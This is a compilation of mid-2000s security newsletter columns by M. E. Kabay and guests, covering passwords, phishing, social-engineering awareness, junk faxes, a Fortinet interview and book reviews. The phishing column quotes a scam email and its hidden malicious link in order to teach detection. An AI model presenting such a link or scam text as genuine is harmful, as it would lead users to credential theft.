The nature of threats has evolved, with earlier systems focused on physical security, connection-based attacks focused on intrusions, and content-based attacks which are increasingly indiscriminate and which attack anyone connected to a public network. Spam and worms, for example, are the great levelers – they don't seem to be focused on specific companies but rather impact everyone. The earlier defenses to connection-oriented attacks were network-based devices like firewalls and VPN gateways; in contrast, content-based defenses tend to be deployed as software (either on the server or on the clients) – like AV software for example. In our history, those solutions that have migrated to a network-centric installation have always won.

[More in the next and concluding article.]

Field Code Changed

Speedy Security (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the conclusion of a two-part interview with Rick Kagan, VP of Marketing of Fortinet < http://www.fortinet.com/ >.

Q: Why have network-centric security appliances always won over client-software security systems?

A: Because in networking, speed is always the critical issue. In a network, it doesn't matter if you can turn lead into gold unless you can do it fast. So our security solutions have to evolve as the attacks do and also have to maintain performance.

The stateful-inspection firewalls did a good job in the 1990s, but as the intrusions became more sophisticated, we moved to deep-packet inspection (looking beyond the header). But then as e-mail-enabled worms, spam and other complex attacks became more common, we had to start looking at the content of packet streams to be able to identify the attacks in the first place and then to respond appropriately. But the rub is that you need hundreds or thousands of times more processing to complete content processing compared with stateful inspection; unless you provide that speed, you will bottleneck the bandwidth.

For example, lately we've had to cope with the W32/Randex.AK-net virus; its packed size is 133,120 bytes – about a hundred packets at least to transmit. Somewhere in those bytes – some at the beginning, some in the middle and some in the end – are characteristic patterns with little chance of occurring in legitimate packets. Worse still, the virus is going to be embedded in some other code. You cannot guarantee that the dispersal of the viral code will always be same across all the packets. Therefore, inspecting one packet at a time is almost bound to fail if there are enough packets. It's a bit like breaking a missile up into hundreds of pieces and mailing them independently; it's going to be hard to recognize the missile from any one package.

So it really is necessary to reassemble the packets into the original content for inspection – something that the PC antivirus does all the time. Three years ago we developed a system for content reassembly and inspection using the FortiASIC Content Processor and FortiOS Operating System to accelerate the process to such a speed that it can handle network bandwidth.

Q: So what's the maximum bandwidth?

A: Up to 2 gigabits per second (Gbps) so far on our FortiGate 4000 system which can accommodate up to 10 FortiBlade-4010 modules, which makes the FortiGate-4000 system suitable for Internet service providers. And we have other systems (that I can't discuss yet in detail) that will scale even higher.

Q: Go on about your products.

A: Around the core hardware and ASIC technology, we put all the other functionality into

firmware. We always ship a complete system with full functionality – there is no per-function license fee. Finally, around all of that we wrap the services: FortiProtect instant attack updates (we can and will update our entire installed base within five minutes); FortiCare Services for comprehensive support; and the FortiManager System for centralized management. At the moment, we match or exceed performance of ASIC-based stateful inspection firewalls but we greatly exceed the performance on deep-packet inspection and content-based protection (typically 6 to 10 times the performance for equivalent costs).

We currently have 13 models ranging from a $500 FortiGate 50 suitable for a small office/home office (SOHO) or telecommuter system all the way up to a FortiGate 4000 which can handle multi Gpbs throughput. We also have centralized management in the FortiManager device and logging tools in the FortiLog systems. The FortiClient software extends protection to remote clients such as a laptop and provides VPN functionality; soon there will be antivirus and firewall functionality (providing centralized management and low cost).

Q: Are you basing your filtering algorithms primarily on heuristic algorithms, signature-based pattern-recognition, a combination of these methods or additional techniques?

A: Primarily signature-based but also heuristics. We've also been using family-signatures that have allowed us to spot new variants of existing attacks without issuing new signatures.

Q: How do you handle inappropriate Web content? What controls do you offer your users to avoid political restrictions such as those that bedeviled some other product developers a few years ago?

A: We provide a flexible policy interface for our customers. They can enable or disable content based on 80 different categories – quite fine granularity. We also have a 24x7 team who analyze Web sites all the time and handle challenges to the categorization; we don't see ourselves as the thought police but rather as serving the customer.

[MK notes: This interview does not constitute an endorsement of Fortinet products. I have not evaluated their products (I doubt that I have the technical expertise to do so in a meaningful way). I have no financial interest whatsoever in Fortinet.]

Coping with Strong Passwords

By Charisse M. Sebastian, CNE

[M. E. Kabay comments: I was invited to speak at a meeting of the New England Information Security Group < http://www.neisug.com/ > in May 2004 and was delighted to meet Charisse Sebastian. We had such a great time exchanging stories and ideas about technical support and security that I invited her to write about her insights into the importance of good communications between the IT group and the user community. Here is her contribution to the column with my thanks.]

* * *

In previous articles about passwords, Dr Kabay has expressed his distaste for this method of identification and authentication (I&A). But whether he likes them or not, most of us are stuck with passwords and the management problems they cause.

In an age of hackers, viruses, terrorism and malevolent employees, talking about security can make people either try to glamorize it, à la James Bond, or minimize it, as in, "It won't happen to me." Both attitudes are distractions that decrease security. Security is too often an afterthought, especially in the United States, where the American culture of openness can interfere with effective security. Openness is a valid and altruistic attitude for social interactions, but protecting networks from intrusion and accidents is crucial to long-term success in business. Unfortunately, efforts to make users more aware of security are often met with the attitude that IT must be paranoid or with silent resistance.

The most common sources of conflict where IT and users interact over security are password-protected logins and Internet communications. Until we see affordable improvements in I&A, strong passwords and good management remain essential.

In today's environment, everybody connected to the Internet is a potential target.

Some salient statistics – for what they're worth:

* Calls dealing with password resets are the #1 demand for help desk support. [1]

* Total annual cost of U.S. corporate online security breaches in 2000: $15 Billion [2]

* Percentage of U.S. companies not implementing "adequate" security: 30% [3]

* Percentage of U.S. companies that spend 5% or less of their IT budget on security for their networks: 50%. [4]

Strong passwords require 8-14 characters, minimum and a mix of case, numbers and symbols. But to a user, strong means more complicated. Users either simplify the password itself or help themselves remember it -- often with a Post-It (TM) note on the monitor bezel or under the mouse pad.

This issue requires human interaction to resolve. First, I cannot emphasize enough the importance for IT staff from the CIO on down to the lowliest help desk assistant to avoid condescending to users – as in, "We're IT and they're just users." Learn what the users are thinking. How do they view security? Why and how have they opposed security? Instead of dictating to users from IT, look at the issues from the users' point of view. Get them to buy into the policy willingly and enthusiastically as stakeholders, not as put-upon victims of an administrative dictatorship. As a suggestion, as part of new employee orientation (and an existing employee refresher too), have the IT instructor go to a criminal-hacker Web site to show users the kinds of threats that IT has to deal with every day and how such threats can harm the users directly and personally.

Second, help users to incorporate strong passwords in a way they can remember them, without writing them down. Suggestion; run together words in common phrases up to about 16 characters, mixing case and substituting/adding symbols and numbers for some letters.

Third, with user input, create a well-defined, solid foundation of company-wide policies and procedures. That means for everyone from the CEO on down, no exceptions. For end users to become stakeholders it's critical that they understand that everyone is involved and why. Why does IT need their help? Why do they need to be concerned? Why are IT in effect are an extension of their own departments?

In summary, computer security is an endless process. With continuing user investment and input in a real team effort with IT, security becomes manageable, effective and non-intrusive. Often, instead of purchasing some new piece of security technology, getting users actively involved in security could save further strain on already tight IT budgets. The process of finding or creating the mix of technology, procedure and policy involves analyzing the system including input from users to understand what is needed. Once new procedures are in place and policies established, they have to be maintained, monitored and tested on a regular basis. That includes feedback from the users, taken seriously, on a regular basis.

Computer security is a journey, not a destination.

Turning Back the Clock

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Many readers already know about the new Automated System Recovery feature of Windows XP[1]. The system keeps a log file with records of all changes to disk at specified times or after specified events. The log files enable one, in theory, to revert to a previous state of one's hard disk(s), thus reversing the effects of bad installations, harmful software, or some kinds of hardware accidents.

Wouldn't it be wonderful to be able to log more than a static copy of once hard disk at specified times so that one could actually replay events? Such functionality would be invaluable in forensic investigations of attacks on one's systems or in analyzing accidents causing harm to one's data or configuration. Knowing the details of such changes could greatly improve the chances of correcting the damage and developing methods for fighting similar attacks.

Prof. Peter Chen of the Advanced Computer Architecture Laboratory at the University of Michigan has proposed using a virtual machine called ReVirt to log all significant events to disk, permitting not only reversion to any given point in time, but also replay of the events in a computer attack.[2, 3] Chen estimates that a 100GB hard disk could easily store several months worth of log files with minimal overhead. Chen and his colleagues published an article whose abstract is as follows:

>Current system loggers have two problems: they depend on the integrity of the operating system being logged, and they do not save sufficient information to replay and analyze attacks that include any non-deterministic events. ReVirt removes the dependency on the target operating system by moving it into a virtual machine and logging below the virtual machine. This allows ReVirt to replay the system's execution before, during, and after an intruder compromises the system, even if the intruder replaces the target operating system. ReVirt logs enough information to replay a long-term execution of the virtual machine instruction-by-instruction. This enables it to provide arbitrarily detailed observations about what transpired on the system, even in the presence of non-deterministic attacks and executions. ReVirt adds reasonable time and space overhead. Overheads due to virtualization are imperceptible for interactive use and CPU-bound workloads, and 13 - 58% for kernel-intensive workloads. Logging adds 0 - 8% overhead, and logging traffic for our workloads can be stored on a single disk for several months.[4]<

I am looking forward to hearing more about Professor Chen's work and hope that it will lead to products that we will be able to use easily and well in analyzing and defending against damage to our systems.[5]

Security vs. Operations

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In a closed discussion group to which I belong, a member posed the following interesting problem. The participant has very kindly allowed me to publish the conversation with some details changed to preserve anonymity.

* * *

[The member started the discussion as follows:]

In the past I have asked how information assurance in positioned within your organization. In some, IA is a part of operations, in some it is the same people doing both IA and operations, some organizations have IA teams that act as internal consultants to operations, and some have IA operations that work along side production operations.

I have a question in a similar vein. For those security functions that require administrator privileges, do your IA personnel have either Local or Domain Administrator accounts? We are debating a philosophical issue here where our requests to be granted local admin privileges on servers are denied, but the subsequent requests we make of the people that have admin privileges to do the work we are unable to perform go unanswered. Essentially we are in a position of not being able to perform certain tasks related to security, and we are not getting cooperation from the production support teams. We wonder if security personnel at other organizations are given administrator accounts or not.

*** * ***

[I responded with these comments:]

I think the critical element here is as follows:

>…[O]ur requests to be granted local admin privileges on servers are denied, but the subsequent requests we make of the people that have admin privileges to do the work we are unable to perform go unanswered.<

In a production environment, distributing administrator privileges may disrupt production controls, so I can understand the desire to centralize the administrator functions to a group of people who work closely withf others within the production team.

However, assigning responsibilities without authority is never good.

I think that you should explore and analyze the roots of this breakdown in communication between your group and the production team that is supposed to be (but isn't) supporting you. Has the rift developed recently or is it historical? Are there specific personal conflicts that may

account for this division between the teams? are their conflicts between the managers of these groups? Do the obstructive personnel understand the requests and their urgency? Are they perhaps overworked and therefore assigning lower priority than they ought to in scheduling responses to specific requests?

By focusing on the underlying organizational dynamics here, you may be able to present a recent case to your manager so that he or she can take appropriate action to resolve the problem constructively.

But simply pointing how other organizations handle the assignment of administrator privileges is, in my experience, unlikely to get you very far.

* * *

[The participant elaborated on the situation:]

> distributing administrator privileges may disrupt production controls<

I worked for several years as a systems administrator before specializing in security, so I completely agree. In fact, I do not _want_ administrator privileges unless I absolutely need them.

>Has the rift developed recently or is it historical?<

Historical. The Security department at my organization, historically, is staffed by very non-technical people. Until recently, Security did not engage in technical activities. Therefore, the department has always been viewed by the technical staff as technically incompetent. To be frank, in some cases, this is true.

>Are there specific personal conflicts that may account for this division between the teams?<

Yes. I worked with the operations folks for several years before switching teams. I like to think that I get along with them fine, if for no other reason than the fact that I have walked in their shoes. The specific two individuals that want local admin access have never worked in a production support environment, so they have a hard time earning the admins' trust.

>Are there conflicts between the managers of these groups?<

Sadly, yes.

>Do the obstructive personnel understand the requests and their urgency?<

I believe so.

>Are they perhaps overworked and therefore assigning lower priority than they ought to in scheduling responses to specific requests?<

Very likely. I had gone so far as to suggest, in writing, that we form an operational security group to take on the tasks that production support cannot make time for. The new group would

be independent from the internal consultancy security group to maintain proper checks and balances, and staffed by personnel with the appropriate skills. This idea has garnered limited support so far.

I'll suggest that my organization explore the social dynamics rather than focusing only on the technical and see how that goes. I'd also welcome any comments on the idea of having two security teams – one that has an audit function, and one that has a technical function. I realize that this idea has flaws, but I think it has benefits as well.

[MK adds: I am always in favor of having a separate audit function if at all possible. The nature of audit is inherently better supported with an independent reporting structure than if the auditors report directly to the managers of those being audited.

As a final note in this interesting discussion, my correspondent sent me the following encouraging note several weeks after the exchange above:

>You'll be glad to know that as a result of it, leadership from the security and operations groups (including management and technical staff) now meet regularly. We hope to foster better working relationships and communication. We've only had a handful of meetings so far, but everyone agrees it is in the organization's best interest if the two teams work together, as opposed to against one another. Progress!<]

M. E. Kabay, PhD, CISSP is Associate Professor in the Division of Business and Management s at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Junk Fax Redux

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Every day, most businesses receive unsolicited and unwanted fax messages advertising penny stocks, vacations and other supposed and sometimes imaginary services. Most of these are violations of the Telephone Consumer Protection Act of 1991 (TCPA, 47 USC §227) and of Federal Communications Commission (FCC) rules that explicitly prohibit junk faxes. Up to the end of 2004, senders can use a pre-existing business relationship to justify using your fax line, paper and toner. From January 1, 2005, advertisers require "a signed, written statement that includes the fax number to which any advertisements may be sent." < http://www.fcc.gov/cgb/consumerfacts/unwantedfaxes.html >

Many junk faxes lack any information about the company sending the advertisement other than a toll-free number. There's no name, no address, no corporate phone number and no return fax number. Some are even more obviously fraudulent than others; for example, the fax that sparked today's article had no sender information in the header (a violation of FCC rules) and claimed to be from "Our Corporate Travel Department." How could anyone be gullible enough to do business with such obviously dishonest people?

Using the phone number indicated for removal of one's fax number from a junk faxer's list may not work; some commentators suggest that, much like "removal" addresses on some junk e-mail messages, these phone numbers may actually be a means to confirm fax numbers for further use.

Slashdot has an extensive discussion of responding to junk fax that started on May 10, 2004 < http://tinyurl.com/2ktm6 >. Correspondents offered several ideas for responding to junk faxes – some of them good and some not so good.

On the positive side, several people commented that using a physical fax machine should be restricted to outbound calls where it is easier and quicker to scan and send physical paper all at once than to use a scanner and a computer-fax program. For reception, one can install an old, out-of-date computer on the inbound fax line and record all faxes to disk. A quick look at the faxes can allow someone (e.g., a secretary) to discard junk faxes. In addition, the electronic images can be sent to recipients (even lists of recipients) through e-mail as attachments instead of having to print them to paper.

On the less-good side, several people suggested vigilante retaliation against the faxer. Several people suggested taping the ends of paper together in the fax machine to generate an enormous output fax; however, others pointed out that the junk faxers are likely using computers for their inbound faxes too, so it won't cost them anything in resources.

Other correspondents suggested programming a modem or fax machine to call the listed toll-free numbers repeatedly to rack up large phone bills for the junk-fax sender. However, using the phone lines for harassment may violate federal and state laws and potentially lead to prosecution of the vigilante.

In addition, someone identified as "BasharTeg" posted an interesting riposte on May 11 suggesting that the phone-bombing may target the wrong people. He explained that he works for a provider of toll-free numbers. Junk faxers typically run their scams quickly and then disappear without paying the phone-number supplier for the calls. Therefore, bombarding the toll-free numbers simply generates costs for the innocent phone-service providers rather than punishing the junk faxers. In addition, the calls typically cost only pennies per minute. Given the economics of this kind of scam, it would take thousands of calls to generate a significant bill even if the criminals were actually paying it.

Theoretically, if one can find out exactly who is sending a junk fax, it is possible to sue the sender in civil court. Damages can reach $1500 per violation. However, few recipients are going to go to the trouble of (a) tracking down the malefactor, (b) spending time in small-claims court, and (c) trying to collect from such people even if they win.

Some people have become so angry about junk faxes that they have organized resistance. For example, Venture Capital Management, LLC of Peoria, AZ has an entire Web site devoted to providing information about junk faxes and how to fight the senders < http://www.faxcapital.com >.

At least one law firm is providing services to collect junk faxes, sue the senders, and share the proceeds with the original victims: Demirali Law Firm of Denver, CO < http://www.faxwars.com/turning.htm >. Victims send faxes in batches of ten along with a downloaded form. If the lawsuits succeed, the firm pays the original victim $25 per junk fax or the proportion based on the theoretical maximum.

In any case, at the very least, readers should ensure that all junk faxes received on corporate machines be destroyed immediately. I would add appropriate policies to the corporate information security policies to ensure such protection of all employees against fraudulent offers received by junk fax. It would also be helpful to include a note in the corporate newsletter reminding employees of the danger of responding to such drivel.

Awareness Video:
Stolen Access

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

The training video "Stolen Access" from Commonwealth Films < http://www.commonwealthfilms.com > is subtitled, "Keeping Information Secure." This 2003 production starts with a credible scenario demonstrating social-engineering techniques as industrial spies penetrate an organization by posing innocent-sounding questions to employees by phone. The criminals find the name and position of their target, his secretary's name and their phone extensions. They pose as job applicants, new employees, and customers. They determine that their target is on holiday, that he has forgotten his new password, and who has the emergency password list. They impersonate the target's sister-in-law, provide convincing sound effects to convince the keeper of the password list that the target is too ill to come to the phone, and achieve their objective: the target's password. The criminals then steal copies of the target's confidential files and read his e-mail for weeks. They sell the competitive information to competitors and cost the target's company several contracts in competitive bids.

The film summarizes some warning signs that can indicate a social-engineering attack:

* The caller tries to frame his or her request as an emergency;

* Social engineers often invoke authority as a tool of intimidation;

* They may claim that there's a technical emergency and offer or ask for technical help.

I'd add that a real bell-ringer is that they ask for passwords over the phone. Down boy! Bad social engineer. BAAAADDD social engineer! [Sorry, we have a new puppy and I'm getting into strange verbal habits.]

Advice from the technical consultants at Commonwealth Films on handling an unusual call:

* "If it *seems* wrong, assume it *is* wrong."

* "If you're uncomfortable, end the call."

* "Don't violate policy to 'help' a friend or associate."

* Disclose only appropriate information.

* Report unusual calls.

The film continues with an interesting scenario demonstrating how eavesdropping on indiscreet conversations can allow an industrial spy to deduce passwords when employees use personal preferences and interests to secure their system access. Casual public conversations and overly-

explanatory, unencrypted directories and files make spies' work too easy by half. The film provides excellent suggestions for choosing effective passwords.

Other scenarios in the film:

* Phishing scams using bogus "virus warning" e-mails and fake Web pages that ask for system logon information.

* Being too trusting at work by leaving confidential files accessible on a workstation session, discarding unshredded bad photocopies of confidential documents, leaving confidential documents in photocopies and on fax machines, and (yikes) putting password on Post-It™ notes.

* Using public wireless access points for communication of confidential data without virtual private network software.

* Bogus cellular phone calls asking users to input their PINs "to keep your service active."

As always, this Commonwealth Film training video is a valuable contribution to corporate security awareness programs. Congratulations to writer and director Bruce McCabe, producer Jennifer Wry and veteran executive producer Thomas P. McCann.

[Note: The author has no financial interest whatsoever in Commonwealth Films. However, these nice people allow me to show their previews to my students in class and I am grateful to their Director of Customer Relations, David J. Burke, for his consistent kindness over many years.]

A Master's degree in the management of information assurance in 18 months of online study from Norwich University – see
< http://www3.norwich.edu/msia > for details.

M. E. Kabay, PhD, CISSP is Associate Professor in the Division of Business and Management at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Windows XP Security Checklist

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

The National Institute of Standards and Technology (NIST) Information Technology Laboratory Computer Security Division has just published the draft of "Guidance for Securing Microsoft Windows XP Systems for IT Professionals: A NIST Security Configuration Checklist - Special Publication 800-68" by Murugiah Souppaya, Paul M. Johnson, Karen Kent and Anthony Harris < http://csrc.nist.gov/itsec/guidance_WinXP.html > (June 2004).

"SP 800-68" comes in a ZIP file with a 147-page PDF file and four template files. The document is aimed at "IT professionals, … particularly Windows XP system administrators and information security personnel" and intended to help them secure Windows XP systems in "various operational environments, such as for a large enterprise or a home office." The template files offer reference materials and suggested user-profile settings for

* small-office/home-office systems (small, informal, standalone);
* large enterprises (managed, structured, well-staffed);
* high-security systems (at risk of attack or data exposure, critical systems; may be subset of other environments);
* legacy systems (older, outdated communications modalities).

SP 800-68 provides (quoting from the Executive Summary and adding bullets):

* detailed information about the security of Windows XP
* security configuration guidelines for popular applications
* security configuration guidelines for the Windows XP operating system
* methods that system administrators can use to implement each security setting recommended.

Chapters include

1. Introduction
2. Windows XP Security Guide Development
3. Windows Security Components Overview
4. Installation, Backup and Patching
5. Overview of the Windows XP Security Policy Configuration and Templates
6. NIST Windows XP Template Settings Overview
7. Additional Windows XP Configuration Guidance
8. Application Specific Security Configuration Guidance.

Appendices include

A. NIST Security Template Settings
B. Windows XP Service Pack 2, Release Candidate 2
C. Commonly Used TCP/IP Ports on Windows XP Systems
D. Tools
E. Resources
F. Acronyms

Once again, dear readers, I hope you will take advantage of our tax dollars at work. The ZIP file is available from page
< http://csrc.nist.gov/itsec/download_WinXP.html >.

Catching Phish

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

What is this, a change of topic? I've gotten tired of network security and am turning to sports news? Or old-time rock 'n' roll?

No, not the watery animal, nor the band "Phish:" "Phish" as in "phishing," the word coined by taking "fishing" and using hacker-style spelling (as in "phreaking"). Phishing is a form of social engineering in which criminals send out spam with forged headers to draw gullible people to fake Web sites where they enter sensitive information such as account numbers, user-IDs and passwords. These data are then used for direct financial fraud or wider identity theft.

I recently received an odd e-mail message that warned me that "my" Wells Fargo account had been closed. Here are the most significant parts of the text with my comments in square brackets:

Dear Wells Fargo account holder,

[Warning sign #1: The salutation is completely general instead of addressing the client by name. The message does not give "my" account number. In any case, I don't have such an account at all (non-account-holders usually just discard the e-mail at no cost to the criminals).]

We regret to inform you, that we had to block your Wells Fargo account because we have been notified that your account may have been compromised by outside parties.

[Warning sign #2: Bad grammar in the warning (the comma between "you" and "that"). Watch for peculiar wording and bad spelling. Now, authentic messages may also have such rubbish, but it's rarer than in spam – especially spam written by non-native speakers of English. A good deal of the phishing spam is international.]

. . . .

Please be aware that until we can verify your identity no further access to your account will be allowed and we will have no other liability for your account or any transactions that may have occurred as a result of your failure to reactivate your account as instructed below.

[Warning sign #3: Wait a minute: this makes no sense at all. If the account has been blocked, there should be no new transactions allowed, so what liability are they talking about?]

. . . .

Please follow the link below and renew your account information

https://online.wellsfargo.com/cgi-bin/signon.cgi

[Warning sign #4: I immediately went to VIEW SOURCE in my e-mail client to check the URL. (NEVER click on a URL from a stranger without knowing exactly what it is – and its appearance is no guarantee of where it takes you.) Here is the HTML showing the _actual _ URL that the fake link went to:

<A href="http://online_wellsfargo_com_account.rndsystems.co.kr:7308/wells.htm">

So as I suspected, the URL in the visible version of the message was just camouflage.]

I hope you will find this simple example and the resources for anti-phishing information helpful; perhaps you can use it for your corporate information security newsletter to help keep your colleagues phish-free.

A Master's degree in the management of information assurance in 18 months of online study from Norwich University – see
< http://www3.norwich.edu/msia > for details.

M. E. Kabay, PhD, CISSP is Associate Professor in the Division of Business and Management at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Performing Security Analyses of Information Systems

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

One of the textbooks that I chose for seminar five of Norwich University's graduate program in information assurance is _Performing Security Analyses of Information Systems_ by Charles L. Smith, Sr, PhD, CISSP [1]. Seminar 5 is entitled, “Detection & Response” and covers the following areas:

* Vulnerability assessment and intrusion detection systems

* Monitoring and control systems

* Applications controls

* Honeypots

* Computer emergency quick-response teams

* Data backup and recovery

* Business continuity planning

* Disaster recovery

* Forensics, and

* Insurance relief.

In addition to these interesting topics, I assigned a long-term reading project for the 11 weeks of the seminar: Dr. Smith’s excellent manual. The students read one or two chapters of this 500 page text every week and apply what they learn to their weekly field exercises (our students have to interview their colleagues and analyze aspects of security in their own place of employment throughout their program).

Dr. Smith's book begins with a fine review of basic principles of information security and of the information processing infrastructure in Chapter 1.

Chapter 2, "An Overview of Security Analysis," is a short review of threats, vulnerabilities, countermeasures, working with users, and related topics.

Chapter 3 looks at network security policies with special attention to US government requirements.

Chapter 4 is "A Comprehensive Security Analysis Process" which includes the following elements (explained in detail):

* Formulate a security policy

* Formulate a security rules base

* Formulate the security requirements

* Perform a risk assessment

* Develop a security architecture

* Develop and overall architecture

* Develop a migration plan

* Implement the migration plan steps, and

* Perform a security test and evaluation.

Chapter 5, "Security Architectures," looks at security considerations for the Web, voice and data networks and client/server systems.

Chapter 6, "Risk Assessment," is the longest part of the book at almost 100 pages. The chapter is packed with useful information presented in tables, equations, figures and clearly written text.

Chapter 7 looks at countermeasures and reviews communications protocols, distributed denial-of-service attacks, and methods for selecting among countermeasures.

Chapter 8, "Migration Process," focuses on how to implement change in production systems without causing more disruption than we are trying to prevent.

Chapter 9, "Security Test and Evaluation," briefly examines how to manage testing in four phases:

* Test planning

* Test operations and data collection

* Test analysis and evaluation, and

* Reporting of test results.

Chapter 10 concludes the text with a summary of recommendations.. It is followed by

* A 90 page glossary

* A 20 page list of acronyms and abbreviations

* A sample questionnaire for system assets and values

* A sample security policy, and

* Several other useful tables.

The author provides extensive references for further reading at the end of every chapter.

My only complaints about the book are relatively trivial:

* I wish the author had not used justified text in tables (there are often big gaps between words in the short lines);

* The index is a bit skimpy for such a densely-packed book;

* I would have liked to see at least a brief review of the six fundamental attributes of information that we protect as defined in the Parkerian Hexad (confidentiality, control or possession, integrity, authenticity, availability and utility)[2].

I hope that readers will take advantage of this extraordinary value: at $6 for an electronic version and $20 for a paper version you can't afford to pass it up.

* * *

[1] The book was originally published by 1st Books Library which is now called Authorhouse < http://www.authorhouse.com/home.aspx > and has ISBN 1-4033-1477-2. It is available at < http://www.authorhouse.com/BookStore/ItemDetail.aspx?q3=w9ZlW5EckI4%253d > in electronic form for $5.95 and as a paperback for $19.95.

Safe and Cozy in your Hotel Room

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

Many readers are familiar with the writings of Prof. Stephen Cobb, CISSP, a prolific writer who has also written guest articles for this newsletter. Stephen recently became the Chief Security Executive at STSN, a major supplier of broadband services to hotels and conferences worldwide. We were chatting on the phone a few days ago and I asked Stephen about his new job and he very kindly responded by interviewing himself (!) and sending me this excellent report.

I have lightly edited his words, but otherwise the rest of this article is entirely Stephen's own work.

* * *

Q: Hotel broadband service sounds like a niche market and not something that immediately comes to mind when we think about network security. Can you give readers some idea of the size of this field and why, as a security professional you decided to get involved?

A: Well, initially STSN got my attention with four facts.

* First, the average number of broadband connections that they serve up every month, including both wired and wireless averages is over 700,000.

* Second, the rate at which the number of wireless connections is growing month-on-month is about 50 percent.

* Third, the primary use of these connections, both wired and wireless, is to access corporate virtual private networks (VPNs).

* Fourth, and this rang alarm bells for me, is that some broadband connections are a lot less secure than others.

Q: In what ways are some hotels less secure?

A: Well, for example, some let guests browse the laptop hard drives of other guests. That presents a golden opportunity for people like criminal hackers, identity thieves and unethical competitors looking for an edge. For example, sometimes you just have to click on Network Neighborhood to see your fellow guests. And at hotels with poorly configured Wi-Fi, you could be sitting in a car a block away and do the same thing.

Q: So STSN considers its network secure. How do you back up that claim?

A: Well, for starters, you won't be able to see computers belonging to other guests when you are staying at an STSN hotel. In turn, they won't be able to see yours. And if any of your readers

find otherwise, I would like to hear about it (e-mail scobb at stsn dot com).

Q: How can you achieve this when other providers apparently can't?

A: The short answer is that we use a virtual local area network (VLAN) for each connection through several layers of network address translation performed by our own on-site network controller which feeds traffic over a dedicated back haul to a regional point-of-presence (POP) that has enterprise-class physical and logical security and redundancy, all backed up by 7x24x365 monitoring.

But the real answer is that our patented iBahn network was designed from the ground up to serve the hotel and public access environment, which is radically different from your typical 'open' office network. On an office network you want people to be able to see each other, so to speak, because you want sharing and collaboration. A hotel is almost the opposite. You don't want to share your data with fellow guests (or the war driver in the parking lot). You want a 'closed' network that takes you out to the Internet on your own private connection, one that supports your company's VPN.

Q: You mentioned VPNs before. If I am using a VPN and have a personal firewall on my laptop, why do I need to worry about who is providing my hotel broadband connection?

A: First all, the VPN has to work. STSN actually certifies and supports, via our 7x24 toll free number, specific corporate VPN configurations from many of the Fortune 500 companies. Second, a client firewall is only as good as its operator. For example, a few days ago I was invited to a Webcast that was very relevant to my work and the access page actually told me to turn off my personal firewall. Is your typical laptop using business traveler going to remember to turn it back on? The bottom line is that you want to use as many different security layers as you can get and STSN can provide several of those layers.

* * *

Intelligent Awareness

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

Keeping employees committed to information security is tough. The fundamental problem is that the better our security, the less evidence we have to reinforce it. As weeks and months go by with no security incidents, employees unconsciously reduce compliance with security rules. This natural process is called extinguishment and is well known to behavioral psychologists. To overcome extinguishment, we need reinforcement, and that's where security awareness programs can use imagination and fun.

In an information security class in 1993, a student told me about an interesting experiment she had carried out at a large company. Employees were not following company policy about logging off the mainframe systems, and the open sessions were interfering with operations by holding databases open and preventing proper backups. In some cases, operators were able to terminate the sessions remotely, but in others they couldn't. Haranguing people didn't work. You could force employees to contact technical services for a new password, require them to discuss their errors with their managers, and otherwise try to punish them but the compliance rate hovered consistently around 40%.

My student did an experiment. She went around the night and found all the terminals in a specific department that were logged off properly. On the keyboards, she left a little chocolate wrapped in silver foil. There was no explanation for the chocolate. At the end of the month she found that compliance with logoff policy had climbed to around 80% in that department but remained at 40% everywhere else. Praise and reward can be more powerful than punishment in changing behavior. Talk to any dog trainer for confirmation.

My friend and colleague K Rudolph (and yes, she uses the letter K without a period as her first name) of Native Intelligence, Inc. < http://nativeintelligence.com > is a specialist in making security awareness fun. She has a huge collection of security-awareness materials that are directly in line with the observation that making compliance pleasant is a better approach than focusing on criticism and punishment.

You can start with a series of free and very cute, colorful coupons from < http://nativeintelligence.com/freebies/caught-coupons.aspx >. These all have a nautical theme with the word “CAUGHT!” with a charming creature such as a crab, an octopus, a dolphin and so on followed by something good; e.g.,

* Refusing to allow someone to tailgate on your access badge
* Asking for help with security
* Challenging an unknown person in your area
* Verifying that someone requesting information has a need to know
* Using a locking screensaver
* Properly disposing of sensitive media
* Refusing to share your password.

You can print these yourself from the PDF files or just buy them on thick card stock.

Native Intelligence also has an enormous collection (88 at last count) of security-awareness posters at < http://nativeintelligence.com/posters/security-posters.asp >. For example, one of my favorites is, "Passwords are like bubblegum: strongest when fresh; should be used by an individual, not a group; if left laying around, will create a sticky mess." Many of the posters have charming cartoon animals such as dinosaurs, snails, raccoons and rabbits. One poster reads "You OTTER backup your files!" and has a furry little critter on his back contemplating a floppy disk.

Is also a series of 14 posters designed to improve HIPAA compliance < http://nativeintelligence.com/posters/hipaa-posters.asp >.

Native Intelligence also offers several Web-based awareness courses: Security Awareness, Classified Data Basics and Personnel Safety. Details are on the Web site at < http://nativeintelligence.com/courses/index.aspx >.

* * *

Note: I have no financial involvement whatever with Native Intelligence's courses and posters. However, K and her team are currently working with me on an improved and fully illustrated version of my Cybersafety booklet; the old version is still available free at < http://www.mekabay.com/cyberwatch/cybersafety.pdf >.

* * *

A Master's degree in the management of information assurance in 18 months of online study from Norwich University – see
< http://www3.norwich.edu/msia > for details.

